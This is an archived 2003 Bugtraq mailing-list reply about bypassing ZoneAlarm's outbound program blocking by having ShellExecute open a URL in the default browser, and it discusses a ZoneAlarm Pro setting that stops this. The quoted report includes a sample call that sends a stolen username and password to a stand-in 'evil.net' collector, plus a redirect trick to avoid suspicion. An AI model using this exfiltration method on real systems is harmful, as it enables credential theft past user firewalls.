lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 24 Jun 2003 12:31:47 -0700
From: Dan Harkless <bugtraq@...kless.org>
To: bugtraq@...urityfocus.com
Subject: Re: Bypassing ZoneAlarm (limited)



<aceh@...vetch.bg> writes:
> I don't know if this is a new issue but it is a simple way to
> bypass (in some limited form) ZoneAlarm's Application level 
> Internet access blocking.
> 
> Windows dll shell32.dll exports a well known and documented function called
> ShellExecute. From Win32 Programmer's refference:
> 
[snip]
> 
> When the lpFile parameter is an Internet url, windows invokes Internet 
> Explorer (or more accurately - the default web browser), which in 99% of 
> the cases is allowed to access Internet, with that url. Example:
> 
> ShellExecute(
>   0,
>   "open",
>   "http://evil.net/collect.cgiun=stolen_username&pw=stollen_password"
>   0,
>   0,
>   SW_HIDE //This doesn't work. 
>           //I think it is supposed to hide the window but ...
>   );
> 
> The collect.cgi (after storing stolen_username/stolen_password) could 
> redirect the user for example to 
> windowsupdate.microsoft.com, 
> so that many users will not even suspect anything.
> 
> The info leaked is limited by the maximum allowed url length, but that 
> could be more than enough for a malicious application to send some 
> username/password/cookie/cc_number info to malicious server.

This is also of course an issue for network-level firewalls.  Allowing
outgoing traffic only on well-known ports such as 80, 443, etc. is to a
large extent false security, since there's no reason a trojan or other
malicious program can't utilize those ports and protocols.

> This was tested on ZoneAlarm 3.1.395 (freeware) but i guess that all
> versions can be tricked if the user has granted access to his default
> web browser by default (very likely)
> 
> VENDOR STATUS:
> I thing that this is flaw in the core design of ZoneAlarm 
> (and/or Windows) and don't see a way it can be fixed.

ZoneAlarm Pro (the pay version) has an additional feature which defeats
this.  You need to turn on "Advanced Program Control", either by setting the
"Program Control" slider to "High" (meaning you'll have to OK every Internet
access by a DLL as well as by a program's core code) or by leaving it at
"Medium" and clicking "Enable Advanced Program Control" on the "Custom"
dialog.

What that feature does is require your permission each time one program
tries to use another to access the 'net.  You'll get a popup like:

    Do you want to allow MaliciousTrojan.exe to use Internet Explorer to
    access the Internet?

> WORKAROUND:
> Do not allow ANY application to access Internet by default and 
> review each request separately.

Way too impractical to even consider.

--
Dan Harkless
bugtraq@...kless.org
http://harkless.org/dan/


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ